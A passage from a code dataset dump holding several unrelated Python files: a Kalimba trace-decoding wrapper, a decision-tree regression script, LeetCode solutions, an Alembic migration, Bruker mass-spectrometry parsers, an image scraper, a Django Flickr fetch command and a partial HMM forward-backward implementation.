trace_filename, elf_filename):\n \"\"\"Decodes the given trace data. The trace_filename argument should be the path of a trace file generated by\n kalsim. elf_filename should be the filename (and path if necessary) of the ELF the trace was generated for.\n Returns a POINTER(TraceResult) object which should be passed to free_trace when finished with.\"\"\"\n rv = self._cfuncs['kaltrace_decode_trace_kalsim'](trace_filename, elf_filename)\n if not rv:\n raise Exception(\"Failed to decode trace.\")\n return rv\n \n def free_trace(self, trace):\n self._cfuncs['kaltrace_destroy_trace'](trace)\n \n # The context_* methods are quite low level. It should be easy to build a higher level wrapper object around\n # the context that provides automatic destruction and iteration through the list of PCs. The methods are written\n # with this in mind, for example context_iteration_next throws StopIteration to indicate the end of data being\n # reached rather \n \n def context_create(self, trace_data, elf_filename, for_kalsim = False, timestamp_data = None):\n \"\"\"Creates and returns an iteration context that may be used with the methods with names beginning context_\n below. Raises an exception if creation fails.\n The context_destroy method must be called and passed the return value of this method to avoid leaks.\n For hardware traces, the trace_data argument should be a sequence of 32-bit unsigned integer values holding\n the encoded trace and for_kalsim should be False.\n For kalsim traces, trace_data should be the path of a trace file generated by kalsim and for_kalsim should\n be True.\n elf_filename should be the filename (and path if necessary) of the ELF file the trace was generated for.\n timestamp_data should be a sequence of 32-bit unsigned integer values holding timestamp data for the trace\n if it is to be used, and otherwise should be None.\"\"\"\n if for_kalsim:\n trace_data_as_uint32_array = None\n time_data_as_uint32_array = None\n rv = self._cfuncs['kaltrace_context_create_kalsim'](trace_data, elf_filename)\n elif timestamp_data is None:\n trace_data_num_elements = len(trace_data)\n trace_data_as_uint32_array = (c_uint32*trace_data_num_elements)()\n trace_data_as_uint32_array[:] = trace_data\n time_data_as_uint32_array = None\n rv = self._cfuncs['kaltrace_context_create_hardware'](trace_data_as_uint32_array, trace_data_num_elements,\n elf_filename)\n else:\n trace_data_num_elements = len(trace_data)\n trace_data_as_uint32_array = (c_uint32*trace_data_num_elements)()\n trace_data_as_uint32_array[:] = trace_data\n time_data_num_elements = len(trace_data)\n time_data_as_uint32_array = (c_uint32*time_data_num_elements)()\n time_data_as_uint32_array[:] = timestamp_data\n rv = self._cfuncs['kaltrace_context_create_hardware_ts'](trace_data_as_uint32_array, trace_data_num_elements,\n time_data_as_uint32_array, time_data_num_elements,\n elf_filename)\n if not rv:\n raise Exception(\"Failed to create kaltrace context.\")\n self._kept_trace_data[rv] = trace_data_as_uint32_array\n self._kept_timestamp_data[rv] = time_data_as_uint32_array\n return rv\n \n def context_destroy(self, context):\n \"\"\"Destroys and frees resources associated with the given context created by the context_create method.\"\"\"\n self._cfuncs['kaltrace_context_destroy'](context)\n if self._kept_trace_data[context] != None:\n del self._kept_trace_data[context]\n if self._kept_timestamp_data[context] != None:\n del self._kept_timestamp_data[context]\n \n def context_iteration_begin(self, context):\n \"\"\"Begins iteration through the instructions in the trace loaded in a given context.\n If the context was created with timestamp data, returns a tuple of the PC value for the\n first visited instruction in the trace and the timestamp for that visit. If no timestamp\n data was provided, returns just the PC.\n This method must only be called once for a given context.\n Raises StopIteration if the trace is empty.\"\"\"\n if self._kept_timestamp_data[context] is None:\n rv = self._cfuncs['kaltrace_decode_begin'](context)\n else:\n timestamp = c_uint32()\n pc = self._cfuncs['kaltrace_decode_ts_begin'](context, timestamp)\n rv = (pc, timestamp.value) \n if self._cfuncs['kaltrace_decode_end'](context):\n raise StopIteration(\"Empty trace.\")\n return rv\n \n def context_iteration_next(self, context):\n \"\"\"Gets the next PC in a context being iterated through, or raises StopIteration if no more\n instructions remain in the trace. If the context was created with timestamp data, a tuple\n of PC and timestamp are returned, otherwise just the PC value is returned. \n The given context must have successfully been passed to context_iteration_begin before\n calling this method.\"\"\"\n if self._kept_timestamp_data[context] is None:\n rv = self._cfuncs['kaltrace_decode_next'](context)\n else:\n timestamp = c_uint32()\n pc = self._cfuncs['kaltrace_decode_ts_next'](context, timestamp)\n rv = (pc, timestamp.value)\n if self._cfuncs['kaltrace_decode_end'](context):\n raise StopIteration(\"Reached end of trace.\")\n return rv\n \n def get_instruction_count(self, context):\n \"\"\"Returns the number of instructions executed in the given trace. \n This method is safe to call on a context that may no longer safely be iterated over, but the given\n context will not be left in a state that is safe to iterate over even if it was previously.\"\"\"\n return self._cfuncs['kaltrace_count_number_of_instructions'](context) \n \n def get_instruction_frequencies(self, context):\n \"\"\"Returns a list of instruction addresses and the number of times each is called in the given context.\n Currently the context may not safely be iterated by the kaltrace_decode_* functions after calling\n this method. The given context must be safe to iterate before calling this method.\"\"\"\n num_instructions = c_uint32(0)\n frequencies = self._cfuncs['kaltrace_get_instruction_frequencies'](context, byref(num_instructions))\n rv = []\n if frequencies != None and num_instructions.value > 0:\n for n in range(0, num_instructions.value):\n rv.append(KalTrace.InstructionFrequency(frequencies[n].instruction_address, frequencies[n].count))\n self._cfuncs['kaltrace_free_instruction_frequencies'](frequencies)\n return rv\n\n def start_logging(self, filename, overwrite = False):\n \"\"\"Starts logging to the specified file. Stops any current logging in progress first.\n Appends to any existing file if overwrite is False, replaces it if overwrite is True.\"\"\"\n self._cfuncs['kaltrace_start_logging'](filename, overwrite)\n\n def stop_logging(self):\n \"\"\"Stops any logging in progres and closes the log file.\n Does nothing if there is no logging in progress.\"\"\"\n self._cfuncs['kaltrace_stop_logging']()\n\n\nKalTrace.InstructionTypesForRange._fields_ = [\n (\"begin_address\", c_uint32), # Address at which this range starts.\n (\"end_address\", c_uint32), # First address after the end of this range.\n # The instructions in this range, indexed by address minus begin_address.\n (\"instructions\", POINTER(KalTrace.InstructionType)),\n # Next range in a linked list, or null if this is the last range.\n (\"next\", POINTER(KalTrace.InstructionTypesForRange)) \n ]\nKalTrace.TraceResult._fields_ = [\n (\"pc_listing\", POINTER(c_uint32)), # An array of all PC values visited in the trace.\n (\"num_instructions\", c_uint32), # The number of instructions visited in the trace.\n (\"bits_per_pc\", c_double), # Number of trace bits per visited instruction.\n # The lowest PM address that falls after all address ranges in which valid PM data is\n # loaded from the ELF file. Useful for quick validity or statistics checks, but not a guide\n # to how much PM memory was actually used by the ELF because there may be large blocks of\n # unused PM memory below this address.\n (\"pm_address_limit\", c_uint32), \n # Array of information about the instructions at a range of PM addresses, including every\n # address in pc_listing. May be NULL if decoding failed or used PM memory was too large.\n (\"instruction_type_by_address\", POINTER(KalTrace.InstructionTypesForRange)),\n # The timestamp associated with each instruction. \n (\"times_listing\", POINTER(c_uint32)),\n # The number of valid timestamps in times_listing. Always zero if timestamp data was not analysed in the trace.\n (\"num_instructions_with_times\", c_uint32)\n ]\n\n\ndef get_range_containing_address(trace_result, address):\n \"\"\"Given a Kaltrace.TraceResult object and an address, returns the range in the trace's\n instruction_type_by_address linked list that contains the given address.\n Returns None if no range contains the address.\"\"\"\n ptr = trace_result.instruction_type_by_address\n while ptr:\n if ptr[0].begin_address <= address and ptr[0].end_address > address:\n return ptr[0]\n ptr = ptr[0].next\n return None\n","repo_name":"xiaokun9/qcc_tool","sub_path":"venv/Lib/site-packages/csr/transport/kaltrace.py","file_name":"kaltrace.py","file_ext":"py","file_size_in_byte":22577,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"16820352833","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon May 4 20:49:31 2020\n\n@author: findlayforsblom\n\"\"\"\n\nimport numpy as np\nfrom readFiles2 import ReadFiles\nimport pandas as pd\nfrom sklearn.model_selection import cross_val_predict\nfrom sklearn.model_selection import cross_val_score\n\nfiles = ReadFiles(['./Datasets/SnowDepth.csv','./Datasets/Airtemperature.csv', './Datasets/Precipitation.csv', './Datasets/FallAmount.csv', './Datasets/humidity.csv' ])\ndataset = files.createDataset()\nind = list(range(3,21))\nind.insert(0, 1)\nX = dataset.iloc[:, ind].values\ny = dataset.iloc[:, 2].values\n\n# Splitting the dataset into the Training set and Test set\nfrom sklearn.model_selection import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 1/3, random_state = 101)\n\nfrom sklearn.tree import DecisionTreeRegressor\ndt = DecisionTreeRegressor(random_state=0)\n\nfrom sklearn.model_selection import GridSearchCV\nparameters = {'max_depth':[10, 6, 20],\n 'max_features':['sqrt','auto', 'log2', None, 2, 500, 100]}\ngrid_search = GridSearchCV(estimator = dt,\n param_grid = parameters,\n cv = 5,\n n_jobs = -1,\n verbose = 1,\n scoring = 'neg_mean_squared_error' )\ngrid_search = grid_search.fit(X_train, y_train)\nbest_accuracy = grid_search.best_score_\nbest_parameters = grid_search.best_params_\n\ndt = DecisionTreeRegressor(random_state=0, max_features = 'auto', max_depth =6 )\ndt.fit(X_train, y_train)\ny_pred = dt.predict(X_train)\nscore = dt.score(X_train, y_train) \n\nsums = (y_pred - y_train) ** 2\nsums = (np.sum(sums)) / len(y_pred)\n\nprint(f'Training error {round(sums * (10**3),3) }')\nprint(f'Traning Score {round(score,3)} \\n')\n\nprediction = cross_val_predict(dt, X_train, y_train, cv=5)\nsums = (prediction - y_train) ** 2\nsums = (np.sum(sums)) / len(prediction)\n\n\nfrom sklearn.model_selection import cross_val_score\naccuracies = cross_val_score(estimator = dt, X = X_train, y = y_train, cv = 5)\n\nprint(f'Validation error {round(sums * (10**3),3) }')\nprint(f'Validation Score {round(accuracies.mean(),3)} \\n')\n","repo_name":"findlay-forsblom/2DT00E-DegreeProject","sub_path":"Algorithm/DecisionTree.py","file_name":"DecisionTree.py","file_ext":"py","file_size_in_byte":2186,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"41526886397","text":"from typing import List\nfrom heapq import heapify, heappush, heappop\n\n\nclass Solution:\n def kthSmallest(self, matrix: List[List[int]], k: int) -> int:\n n = len(matrix)\n heap = []\n for i in range(k):\n r = i // n\n c = i % n\n heap.append(-1 * matrix[r][c])\n heapify(heap)\n i = k\n while i < n**2:\n r = i // n\n c = i % n\n if -1 * heap[0] > matrix[r][c]:\n heappop(heap)\n heappush(heap, -1 * matrix[r][c])\n i += 1\n return -1 * heap[0]\n\n\nif __name__ == '__main__':\n s = Solution()\n # ans = s.kthSmallest(matrix=[[1, 5, 9], [10, 11, 13], [12, 13, 15]], k=8)\n ans = s.kthSmallest(matrix=[[1, 2], [1, 3]], k=2)\n print(ans)\n","repo_name":"herojulie/leetcode","sub_path":"heap/kth_smallest_in_a_sorted_matrix.py","file_name":"kth_smallest_in_a_sorted_matrix.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"74712988557","text":"\"\"\"3.4 : add expense_km_type year\n\nRevision ID: 22721b810d30\nRevises: 55acdcdcc473\nCreate Date: 2017-09-05 18:07:51.101638\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '22721b810d30'\ndown_revision = '55acdcdcc473'\n\nimport datetime\nfrom alembic import op\nimport sqlalchemy as sa\n\nhelper = sa.Table(\n \"expensekm_type\",\n sa.MetaData(),\n sa.Column('id', sa.Integer, primary_key=True),\n sa.Column('year', sa.Integer),\n)\n\n\ndef update_database_structure():\n op.add_column('expensekm_type', sa.Column('year', sa.Integer, nullable=True))\n op.drop_column('expensekm_line', 'type_label')\n\n\ndef migrate_datas():\n connection = op.get_bind()\n year = datetime.date.today().year\n connection.execute(helper.update().values(year=year))\n\n\ndef upgrade():\n update_database_structure()\n migrate_datas()\n\n\ndef downgrade():\n op.drop_column('expensekm_type', 'year')\n","repo_name":"CroissanceCommune/autonomie","sub_path":"autonomie/alembic/versions/3_4_add_expense_km_type_year_22721b810d30.py","file_name":"3_4_add_expense_km_type_year_22721b810d30.py","file_ext":"py","file_size_in_byte":891,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"29"} +{"seq_id":"40827881754","text":"import os\r\nfrom os import path\r\nimport numpy as np\r\nimport xml.etree.ElementTree as ET\r\nimport re\r\nfrom tqdm import tqdm\r\nimport pickle\r\nfrom processing import *\r\n\r\ndef loadBrukerFIDs(file_path, fid_length, read_length, fid_idx, verbose = False):\r\n \"\"\"\r\n\r\n \"\"\"\r\n fids = []\r\n if path.exists(file_path):\r\n\r\n f = open(file_path,'r')\r\n\r\n if type(fid_idx) == list or type(fid_idx) == np.ndarray:\r\n\r\n #print('loading {} FID from file...'.format(len(fid_idx)))\r\n\r\n for i in range(len(fid_idx)):\r\n\r\n if verbose:\r\n print('loading {} FID from file...'.format(i))\r\n\r\n f.seek(4*(fid_idx[i]-1)*fid_length) #seek FID locations within the .ser file\r\n\r\n if read_length == 'all':\r\n fid = np.fromfile(f, count = fid_length, dtype = 'int32')\r\n fids.append(fid)\r\n else:\r\n fid = np.fromfile(f, count = read_length, dtype = 'int32')\r\n fids.append(fid)\r\n \r\n else:\r\n\r\n f.seek(4*(fid_idx-1)*fid_length) #seek FID locations within the .ser file\r\n\r\n if read_length == 'all':\r\n fid = np.fromfile(f, count = fid_length, dtype = 'int32')\r\n fids.append(fid)\r\n else:\r\n fid = np.fromfile(f, count = read_length, dtype = 'int32')\r\n fids.append(fid)\r\n\r\n f.close()\r\n\r\n else:\r\n raise Exception('ser file does not exist in the provided file path. please double check.')\r\n\r\n return np.array(fids,dtype='float64')\r\n\r\n\r\ndef loadBrukerMethod(file_path):\r\n\r\n \"\"\"TODO\"\"\"\r\n\r\n return 'A'\r\n\r\n\r\ndef parseImagingInfo(file_path):\r\n\r\n \"\"\"parses the ImagingInfo.xml file in the imaging .d folder, and returns the relative\r\n coordinates for each imaged regions, starting with RXX. The parsed dictionary contains\r\n the arrays of relative coordinates Xs and Ys under keys named as the regions (RXX).\r\n\r\n \"\"\"\r\n\r\n tree = ET.parse(file_path)\r\n root = tree.getroot()\r\n\r\n parsed_spots = {}\r\n spotNames = []\r\n scan = []\r\n TIC = []\r\n for child in root:\r\n spotNames.append(child.find('spotName').text)\r\n scan.append(child.find('count').text)\r\n TIC.append(child.find('tic').text)\r\n\r\n ROI = set([spot[:3] for spot in spotNames])\r\n\r\n for roi in ROI:\r\n\r\n coord = []\r\n scan_idx = []\r\n tic = []\r\n\r\n for i in range(len(spotNames)):\r\n spot = spotNames[i]\r\n\r\n if roi in spot:\r\n coord.append([int(re.search('X(.*)Y' ,spot).group(1)),\r\n int(re.search('Y(.*)' ,spot).group(1))])\r\n scan_idx.append(scan[i])\r\n tic.append(TIC[i])\r\n \r\n scan_idx = np.array(scan_idx, dtype='int64')\r\n tic = np.array(tic, dtype='float')\r\n\r\n coord = np.array(coord)\r\n coord[:,0] -= coord[:,0].min()\r\n coord[:,1] -= coord[:,1].min()\r\n\r\n parsed_spots[roi] = {'coordinates':coord, 'scan_index':scan_idx, 'tic':tic}\r\n\r\n return parsed_spots\r\n\r\n\r\ndef parseBrukerMethod(file_path):\r\n\r\n tree = ET.parse(file_path)\r\n root = tree.getroot()\r\n\r\n for type_tag in root.findall('paramlist')[0]:\r\n name = type_tag.get('name')\r\n if name == 'SW_h':\r\n SW_h = float(type_tag.findall('value')[0].text)\r\n if name == 'TD':\r\n TD = int(type_tag.findall('value')[0].text)\r\n if name == 'ML1':\r\n ML1 = float(type_tag.findall('value')[0].text)\r\n if name == 'ML2':\r\n ML2 = float(type_tag.findall('value')[0].text)\r\n if name == 'ML3':\r\n ML3 = float(type_tag.findall('value')[0].text)\r\n\r\n return {'SW_h':SW_h,'TD':TD,'ML1':ML1,'ML2':ML2,'ML3':ML3}\r\n\r\n\r\ndef getParams(method_file_path):\r\n\r\n \"\"\"\r\n \"\"\"\r\n parameters = parseBrukerMethod(method_file_path)\r\n\r\n T = 1/(parameters['SW_h']*2)\r\n t = np.arange(0, parameters['TD'])*T\r\n f = parameters['SW_h']*2*np.arange(0, parameters['TD']/2+1)/parameters['TD']\r\n m = fticr_mass_axis(f, [parameters['ML1'],parameters['ML2'],parameters['ML3']])\r\n\r\n return {'parameters':parameters,'T':T,'t':t,'f':f,'m':m}\r\n\r\n\r\ndef parse_coords(file_dir):\r\n\r\n tree = ET.parse(file_dir)\r\n root = tree.getroot()\r\n\r\n coords = []\r\n for child in root:\r\n point = child.attrib['Pos_on_Scout']\r\n coords.append([int(re.search('X(.*)Y' ,point).group(1)),int(re.search('Y(.*)' ,point).group(1))])\r\n\r\n coords = np.array(coords)\r\n coords[:,0] -= coords[:,0].min()\r\n coords[:,1] -= coords[:,1].min()\r\n\r\n return coords\r\n","repo_name":"richardxie1119/CS-FTMSI","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4637,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"29"} +{"seq_id":"10171608956","text":"import os\nimport requests # to sent GET requests\nfrom bs4 import BeautifulSoup # to parse HTML\nimport tkinter as tk\nfrom tkinter import simpledialog\n\nyahoo_img = \\\n 'https://in.images.search.yahoo.com/search/images;_ylt=AwrwJSJD2Q1fTlkATCK8HAx.;_ylc=X1MDMjExNDcyMzAwNARfcgMyBGZyAwRncHJpZAN6VDFjeUl0WlFfLnRqMGU1YlNTTGVBBG5fc3VnZwMxMARvcmlnaW4DaW4uaW1hZ2VzLnNlYXJjaC55YWhvby5jb20EcG9zAzAEcHFzdHIDBHBxc3RybAMEcXN0cmwDNARxdWVyeQNkb2dzBHRfc3RtcAMxNTk0NzQzMTEw?fr2=sb-top-in.images.search&'\n\nuser_agent = {\n 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11',\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',\n 'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.3',\n 'Accept-Encoding': 'none',\n 'Accept-Language': 'en-US,en;q=0.8',\n 'Connection': 'keep-alive',\n}\nsave_folder = 'imagesdl'\n\n \n\ndef main():\n if not os.path.exists(save_folder):\n os.mkdir(save_folder)\n download_images()\n\n\nROOT = tk.Tk()\n\nROOT.withdraw()\n# the input dialog\ndata = USER_INP = simpledialog.askstring(title=\"Test\",\n prompt=\"What are you looking for ?:\")\n\n# check it out\nprint(\"searching web for\", USER_INP)\n\n \ndef download_images():\n \n #data = input('What are you looking for? ')\n n_images = int(input('How many images do you want? '))\n\n print('Start searching for ',USER_INP)\n \n # get url query string\n searchurl = yahoo_img + 'q=' + data\n #print(searchurl)\n\n # request url, without user_agent the permission gets denied\n response = requests.get(searchurl, headers=user_agent)\n html = response.text\n #print(html)\n # find all divs where class='rg_i Q4LuWd tx8vtf'\n soup = BeautifulSoup(html, 'html.parser')\n #soup = BeautifulSoup(response.content.decode('utf-8', 'ignore'), 'lxml')\n #print(soup.prettify)\n #results = soup.find_all('div', class_= 'jsaction',limit=n_images)\n results = soup.find_all('img',class_= 'process',limit=n_images)\n\n\n # extract the link from the img tag\n \n imagelinks= []\n \n for re in results:\n url1=re.attrs.get('data-src')\n imagelinks.append(url1)\n# if url1==None:\n# url1=re.attrs.get('src')\n# imagelinks.append(url1) \n# else:\n# imagelinks.append(url1) \n \n\n #print(imagelinks)\n print(f'found {len(imagelinks)} images')\n print('Start downloading...')\n\n for i, imagelink in enumerate(imagelinks):\n # open image link and save as file\n response = requests.get(imagelink)\n \n imagename = save_folder + '/' + data + str(i+1) + '.jpg'\n with open(imagename, 'wb') as file:\n file.write(response.content)\n\n print('Done')\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Aayushmatkar/Python-Projects","sub_path":"yaahooimagedownload.py","file_name":"yaahooimagedownload.py","file_ext":"py","file_size_in_byte":2817,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"1737218869","text":"import sys\r\n\r\nN = int(sys.stdin.readline().strip())\r\nheights = list(map(int, (sys.stdin.readline()).split()))\r\n\r\nmax_count = 0\r\nfor i in range(N) :\r\n count = 0\r\n s_x, s_y = i, heights[i]\r\n\r\n for j in range(i - 1, -1, -1) :\r\n m_x, m_y = j, heights[j]\r\n state = True\r\n for k in range(i - 1, j, -1) :\r\n a = (s_y - m_y) / (s_x - m_x)\r\n if heights[k] >= s_y - (i - k) * a:\r\n state = False\r\n break\r\n if state :\r\n count += 1\r\n for j in range(i + 1, N, 1) :\r\n m_x, m_y = j, heights[j]\r\n state = True\r\n for k in range(i + 1, j, 1):\r\n a = (s_y - m_y) / (s_x - m_x)\r\n if heights[k] >= s_y + (k - i) * a:\r\n state = False\r\n break\r\n if state:\r\n count += 1\r\n\r\n max_count = max(max_count, count)\r\n\r\nprint(max_count)","repo_name":"chahyoungseok/Algorithm","sub_path":"백준/Gold/1027. 고층 건물/고층 건물.py","file_name":"고층 건물.py","file_ext":"py","file_size_in_byte":896,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"22580812821","text":"from django.core.management.base import BaseCommand, CommandError\n\nfrom ...fetch.fetchers import UserFetcher, UserIdFetcher\nfrom ...models import Account, User\n\n\nclass Command(BaseCommand):\n \"\"\"For fetching data about an Account's Flickr user.\n\n Should create/update them in our DB, and associate the User with the Account.\n\n ./manage.py fetch_flickr_account_user --id=1\n \"\"\"\n\n help = \"Fetches data for an Account's Flickr User\"\n\n def add_arguments(self, parser):\n parser.add_argument(\n \"--id\",\n action=\"store\",\n default=False,\n help=\"The ID of the Account in the Django database.\",\n type=int,\n )\n\n def handle(self, *args, **options):\n if options[\"id\"] is False:\n raise CommandError(\"Specify an Account ID like --id=1\")\n\n # First we need the Account object we're fetching for.\n account = False\n try:\n account = Account.objects.get(id=options[\"id\"])\n except Account.DoesNotExist:\n self.stderr.write(\"No Account found with an id of '%s'\" % options[\"id\"])\n\n if account:\n # Then get the ID of the Flicker user for this Account's API creds.\n id_result = UserIdFetcher(account=account).fetch()\n\n if (\n \"success\" in id_result\n and id_result[\"success\"] is True\n and \"id\" in id_result\n ):\n # We've got a Flickr ID, so we can get and save the user data.\n result = UserFetcher(account=account).fetch(nsid=id_result[\"id\"])\n if \"success\" in result and result[\"success\"] is True:\n # Now we'll associate this User with the Account:\n user = User.objects.get(nsid=id_result[\"id\"])\n account.user = user\n account.save()\n if options.get(\"verbosity\", 1) > 0:\n self.stdout.write(\n \"Fetched and saved user '%s'\" % result[\"user\"][\"name\"]\n )\n else:\n if options.get(\"verbosity\", 1) > 0:\n self.stderr.write(\n \"Failed to fetch a user using Flickr ID '%s': %s\"\n % (id_result[\"id\"], result[\"messages\"][0])\n )\n else:\n if options.get(\"verbosity\", 1) > 0:\n self.stderr.write(\n \"Failed to fetch a Flickr ID for this Account: %s\"\n % id_result[\"messages\"][0]\n )\n","repo_name":"philgyford/django-ditto","sub_path":"ditto/flickr/management/commands/fetch_flickr_account_user.py","file_name":"fetch_flickr_account_user.py","file_ext":"py","file_size_in_byte":2641,"program_lang":"python","lang":"en","doc_type":"code","stars":61,"dataset":"github-code","pt":"29"} +{"seq_id":"44311789597","text":"#\n# @lc app=leetcode id=717 lang=python3\n#\n# [717] 1-bit and 2-bit Characters\n#\n\n# @lc code=start\nclass Solution:\n def isOneBitCharacter(self, bits: List[int]) -> bool:\n i = 0\n one = True\n while i < len(bits):\n if bits[i] == 1:\n i += 2\n one = False\n else:\n i += 1\n one = True\n return one\n\n# @lc code=end\n\n","repo_name":"skyyi1126/leetcode","sub_path":"717.1-bit-and-2-bit-characters.py","file_name":"717.1-bit-and-2-bit-characters.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"36682061987","text":"import csv\r\nimport cv2\r\n\r\n#Declaring some global variables which will be used\r\n#Video file name which will be automatically found in a csv file\r\nFILE_NAME = ''\r\n#Choose the index of the emotion you want to extract\r\n#['Angry', 'Disgust', 'Fear', 'Happy', 'Sad', 'Surprise', 'Neutral']\r\nSHOW_EMOTION = 7\r\n#Variable for saved images numbering\r\nphoto_number = 0\r\n\r\nphotos_data = []\r\n\r\n#Varialble which is used for smoothing the face_recognition\r\n#it checks how many times the emotion repeated and then it is used\r\nEMOTION_REPEATER = 8\r\n\r\n#Read the csv file, extract file name and get the data\r\nwith open('video_data.csv', 'r') as readFile:\r\n reader = csv.reader(readFile)\r\n lines = list(reader)\r\n FILE_NAME = str(lines[0][9])\r\n photos_data = lines[1:]\r\n\r\n#Initialize video feed from file name which will be automatically read from csv file\r\ncap = cv2.VideoCapture(FILE_NAME)\r\n\r\ntemp_idx = 0\r\n\r\n#Start the main loop\r\nwhile(cap.isOpened()):\r\n ret, frame = cap.read()\r\n temp_idx += 1\r\n\r\n #If we cross the last frame from the csv file, stop the video feed\r\n if(temp_idx >= int(photos_data[-1][0])):\r\n exit()\r\n\r\n #If there is one face in the frame start the algorithm\r\n if(int(photos_data[temp_idx][1]) == 1 ):\r\n #If we found the desired emotion\r\n if(int(photos_data[temp_idx][SHOW_EMOTION]) == 1 ):\r\n\r\n #EMOTION REPEATER CHECKING\r\n temp_data = 0\r\n for i in range(EMOTION_REPEATER):\r\n if (int(photos_data[temp_idx + i][SHOW_EMOTION]) == 1):\r\n temp_data += 1\r\n if(temp_data != EMOTION_REPEATER):\r\n continue\r\n\r\n #Get the face coordinates of the person\r\n position_data = photos_data[temp_idx][9]\r\n #Format the coordinates data\r\n position_data = position_data.replace(\"(\", \"\")\r\n position_data = position_data.replace(\")\", \"\")\r\n position_data = position_data.replace(\" \", \"\")\r\n\r\n position_data = position_data.split(',')\r\n\r\n x = int(position_data[0])\r\n y = int(position_data[1])\r\n w = int(position_data[2])\r\n h = int(position_data[3])\r\n\r\n #Crop the face\r\n frame2 = frame[y:y+h, x:x+w]\r\n\r\n photo_number += 1\r\n #Save the face with corresponding photo_number numbering\r\n cv2.imwrite(\"extracted/\"+str(photo_number)+'.jpg', frame2)\r\n\r\n #Show the video feed\r\n cv2.imshow('frame',frame)\r\n if cv2.waitKey(1) & 0xFF == ord('q'):\r\n break\r\n","repo_name":"peterbasar/Neural_Networks","sub_path":"Tensorflow/Emotion_recognition/model_show_happy_faces_wo_rec.py","file_name":"model_show_happy_faces_wo_rec.py","file_ext":"py","file_size_in_byte":2551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"32478525327","text":"# modified by chuhaof2\n\nfrom __future__ import print_function\n\nfrom tabulate import tabulate\nimport numpy as np\nimport pdb\n\n\nclass HMM(object):\n\n def __init__(self, A, B, pi0=None, states=None, emissions=None):\n \"\"\"\n :param A: Transition matrix of shape (n, n) (n = number of states)\n :param B: Emission matrix of shape (n, b) (b = number of outputs)\n :param pi0: Initial State Probability vector of size n, leave blank for uniform probabilities\n :param states: State names/labels as list\n :param emissions: Emission names/labels as list\n \"\"\"\n self.A = A\n self.B = B\n self.n_states = A.shape[0]\n self.n_emissions = B.shape[1]\n self.states = states\n self.emissions = emissions\n self.pi0 = pi0\n\n if pi0 is None:\n self.pi0 = np.full(self.n_states, 1.0 / self.n_states)\n\n if states is None:\n self.states = [chr(ord('A') + i) for i in range(self.n_states)]\n\n if emissions is None:\n self.emissions = [str(i) for i in range(self.n_emissions)]\n\n def print_matrix(self, M, headers=None, flag=None): # flag for matrix type, 0 for Alpha, 1 for Beta, 2 for Gamma\n \"\"\"\n Print matrix in tabular form\n :param M: Matrix to print\n :param headers: Optional headers for columns, default is state names\n :return: tabulated encoding of input matrix\n \"\"\"\n headers = headers or self.states\n\n if M.ndim > 1: # add additional formating for partial credit\n if flag == 0:\n headers = ['Alpha'] + headers\n elif flag == 1:\n headers = ['Beta'] + headers\n elif flag == 2:\n headers = ['Gamma'] + headers\n else:\n headers = [' '] + headers\n \n data = [['t={}'.format(i + 1)] + [j for j in row] for i, row in enumerate(M)]\n else:\n data = [[j for j in M]]\n print(tabulate(data, headers, tablefmt=\"grid\", numalign=\"right\"))\n return None\n\n def forward_algorithm(self, seq):\n \"\"\"\n Apply forward algorithm to calculate probabilities of seq\n :param seq: Observed sequence to calculate probabilities upon\n :return: Alpha matrix with 1 row per time step\n \"\"\"\n \n T = len(seq)\n\n # Initialize forward probabilities matrix Alpha\n Alpha = np.zeros((T, self.n_states))\n\n # Your implementation here\n \n # initialize the first row \n Alpha[0,:] = self.pi0*self.B[:,seq[0]] / np.sum(self.pi0*self.B[:,seq[0]])\n \n # calculate the remaining rows\n for i in range(1,T):\n Alpha[i,:] = self.B[:,seq[i]] * np.dot(np.transpose(self.A), np.transpose(Alpha[i-1,:]))\n Alpha[i,:] = Alpha[i,:] / np.sum(Alpha[i,:])\n \n return Alpha \n\n def backward_algorithm(self, seq):\n \"\"\"\n Apply backward algorithm to calculate probabilities of seq\n :param seq: Observed sequence to calculate probabilities upon\n :return: Beta matrix with 1 row per timestep\n \"\"\"\n\n T = len(seq)\n\n # Initialize backward probabilities matrix Beta\n Beta = np.zeros((T, self.n_states))\n\n # Your implementation here\n \n # initialize the last row\n Beta[T-1,:] = np.ones(self.n_states)\n \n # calculate the remaining rows\n for i in range(T-1, 0, -1):\n Beta[i-1,:] = np.dot(self.A, np.transpose(self.B[:,seq[i]] * Beta[i,:]))\n \n return Beta\n\n def forward_backward(self, seq):\n \"\"\"\n Applies forward-backward algorithm to seq\n :param seq: Observed sequence to calculate probabilities upon\n :return: Gamma matrix containing state probabilities for each timestamp\n :raises: ValueError on bad sequence\n \"\"\"\n\n # Convert sequence to integers\n if all(isinstance(i, str) for i in seq):\n seq = [self.emissions.index(i) for i in seq]\n\n # Infer time steps\n T = len(seq)\n \n # Calculate forward probabilities matrix Alpha\n Alpha = self.forward_algorithm(seq)\n # Initialize backward probabilities matrix Beta\n Beta = self.backward_algorithm(seq)\n\n # Initialize Gamma matrix\n Gamma = np.zeros((T, 